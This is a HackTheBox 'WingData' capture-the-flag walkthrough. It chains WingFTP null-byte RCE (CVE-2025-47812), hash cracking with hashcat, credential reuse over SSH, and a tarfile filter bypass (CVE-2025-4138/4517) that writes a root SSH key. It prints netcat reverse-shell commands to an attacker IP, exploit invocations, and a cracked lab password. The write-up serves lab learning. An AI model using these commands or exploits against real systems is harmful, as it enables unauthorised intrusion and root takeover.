← Back to Home

HTB: WingData

February 26, 2026 HackTheBox
enumerationrcereverse-shellprivesc

Walkthrough of the HackTheBox WingData machine.

Enumeration

Starting off the way we always do, a full TCP port scan with nmap to see what we’re working with.

nmap -sV -sC -p- <target_ip>

nmap scan

Two ports come back open:

PortServiceDetails
22SSHOpenSSH 9.2p1 (Debian)
80HTTPApache httpd 2.4.66

To access the webserver at wingdata.htb we have to manually map the IP to the hostname in /etc/hosts.

/etc/hosts

(Just realized I put an accidental v at the end of the second last line, oops.)

The primary website hosted a “Client Portal” button, which revealed a secondary subdomain: ftp.wingdata.htb. I added that to /etc/hosts as well.

After the subdomain was added, I was taken to a WingFTP login page. More importantly, the web application leaked the exact version of the FTP client in the UI.

WingFTP login page


CVE-2025-47812

With the exact version number found, I started looking into known vulnerabilities. The client was vulnerable to CVE-2025-47812, an unauthenticated Remote Code Execution (RCE) flaw.

This vulnerability is basically a sanitization failure. The backend improperly handles NULL bytes (%00) in the username parameter during login. Everything after the %00 is ignored by the authentication check. Once the authentication check is passed, the server creates a session object to track the user, but here’s the problem: the server logic captures the entire unsanitized username string. ]] is used to close the existing Lua string in the session file, essentially breaking out and allowing us to inject a command. The server will then request to load that session, which runs our command and gives us RCE.


Initial Access

I used the python script from exploit-db to exploit this vulnerability, along with a reverse shell payload generated by RevShells:

Originally I tried:

nc 10.10.14.230 1337 -e sh

That didn’t work so I was more specific:

nc 10.10.14.230 1337 -e /bin/sh

The reason this happened with Netcat was because there isn’t always a full environment variable path ($PATH), and the system doesn’t know where sh is. So we have to provide the exact path /bin/sh sometimes.

RevShells

After setting up a Netcat listener on my attack box (nc -lvnp 1337), I launched the exploit.

listener and exploit output


Post-Exploitation & Enumeration

Once the reverse shell was popped, I upgraded my shell using Python to get a PTY:

python3 -c 'import pty; pty.spawn("/bin/sh")'

I then began internal enumeration. I found the Data directory to be interesting, which had a bunch of XML configuration files for WingFTP users. Looking through these files I found one containing hashed passwords for multiple users, the important user here was wacky.

XML files and wacky.xml


Cryptographic Weakness & User Access

I then went back into the settings.xml file which seemed to be holding the global WingFTP settings. I did this to see if there was anything mentioned about the passwords (I gave the file to AI because it was long), and I did end up finding valuable information.

<EnableSHA256>1</EnableSHA256>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

These specific settings told me that the passwords were in fact using SHA256 (as I suspected) and the environment was set to use a static global salting string WingFTP.

So I created a file called hashes.txt and put all the password hashes along with the salt appended to each line.

hashes.txt

I then ran the following hashcat command for a dictionary attack using rockyou.txt to crack the hashes.

hashcat -m 1410 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

After cracking the hashes I used the --show flag to pull the cracked hashes and got one hit.

cracked hash

The password for wacky was cracked to be !#7Blushing^*Bride5.

While the credentials allowed access to the WingFTP web panel, enumeration there led nowhere useful. However, reusing the credentials against the OpenSSH service discovered in the nmap scan allowed for a successful login as wacky.

ssh login

With an SSH session established, I captured the user.txt flag:

ddbc911ee6232316ee04ad6697775016

Privilege Escalation

With an SSH session established as wacky, I started enumerating local privileges. Running sudo -l showed that wacky could run a specific python script as root without a password:

sudo -l output

Reviewing the code of restore_backup_clients.py to understand what it’s doing. Basically the script is taking a backup tarball, creating a staging directory, and extracting the contents into that directory.

#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1-24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1-24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

The script uses a few security mechanisms, the important ones being:

  1. The script uses filter="data" during extraction, which is designed to prevent symlink attacks.
  2. The backup file must match a specific format using regex validation.

When we check the backup base directory BACKUP_BASE_DIR we see that the wacky user has write permissions in that directory. Which means we can supply malicious tarballs that the root user will extract.


CVE-2025-4138 / CVE-2025-4517

At this point I had to find a way to bypass the filter="data" protection, so I did some research on the current version of python that was running and discovered two CVEs that were specifically about this (CVE-2025-4138 / CVE-2025-4517).

I specifically used the PoC found at https://github.com/DesertDemons/CVE-2025-4138-4517-POC which combined both exploits to get root access on the machine. I will explain how this works at the end.

I created SSH keys on my attack box:

ssh-keygen -t ed25519 -f ~/.ssh/wingdata_root
chmod 600 ~/.ssh/wingdata_root # Required strict permissions

Then I copied the public key to the target machine. Once it was on the target machine I was able to pack it into a payload using the script:

python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/wingdata_root.pub \
    --tar-out ./backup_1337.tar

Now the exploit script will give me the file backup_1337.tar which must be put into the /opt/backup_clients/backups/ directory so it can actually be accessed by the backup script.

Now we can run the backup script:

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1337.tar -r restore_pwn

backup script output

Now that the extraction is complete and everything succeeded as far as I can see, I try to SSH into the target as the root user:

ssh -i ~/.ssh/wingdata_root root@<target_IP>

And it was successful:

root SSH

We now grab the root flag located in root.txt and submit the final flag.


CVE-2025-4138 / CVE-2025-4517 Explanation

As promised, here is the quick breakdown of why that specific exploit bypassed the filter="data" protection.

When I ran exploit.py to generate backup_1337.tar, it didn’t just pack my public SSH key into an archive. It created a malicious tarball containing a massive symlink chain that approaches the Linux PATH_MAX limit (4096 bytes).

When the script executed tar.extractall(filter="data"):

  1. CVE-2025-4138 - The Symlink Bypass: To ensure the extraction path is safe, Python’s filter uses a function called os.path.realpath() to resolve symlinks. However, because exploit.py generated a symlink chain that passes the 4096-byte limit, realpath() failed. Instead of resolving the path, it simply appended my path traversal string (/opt/backup_clients/restored_backups/restore_pwn/[a bunch of junk bytes]/../../../../root/.ssh/authorized_keys).

  2. CVE-2025-4517 - Arbitrary File Write: Once Python approved the path, it passed the extraction instruction to the Linux kernel to actually write the file to disk. Unlike Python’s broken filter, the Linux kernel perfectly understands what ../ means. It followed the directory traversal straight out of the /opt/ staging directory and wrote my wingdata_root.pub key directly into the /root/.ssh/authorized_keys file.

Because the Python script was running as root, it had the necessary privileges to write to the /root/ directory. By tricking the filter into approving the path, the kernel did the rest of the work for me, allowing me to log in natively via SSH without needing a traditional reverse shell.


Summary

The full attack chain for WingData:

  1. Recon: Nmap reveals SSH and Apache, subdomain discovery finds ftp.wingdata.htb running WingFTP with a leaked version number
  2. CVE-2025-47812: Unauthenticated RCE via NULL byte injection in the WingFTP login, popping a reverse shell
  3. Post-Exploitation: Internal enumeration of WingFTP config files reveals hashed user passwords
  4. Hash Cracking: Settings reveal SHA256 with a static salt (WingFTP), hashcat cracks wacky’s password
  5. SSH Access: Credential reuse gets us in as wacky via SSH
  6. Sudo Abuse: sudo -l reveals wacky can run a Python backup script as root that extracts tarballs with filter="data"
  7. CVE-2025-4138 / CVE-2025-4517: Symlink chain exceeding PATH_MAX bypasses Python’s tarfile filter, allowing arbitrary file write as root
  8. Root: Public SSH key written to /root/.ssh/authorized_keys, SSH in as root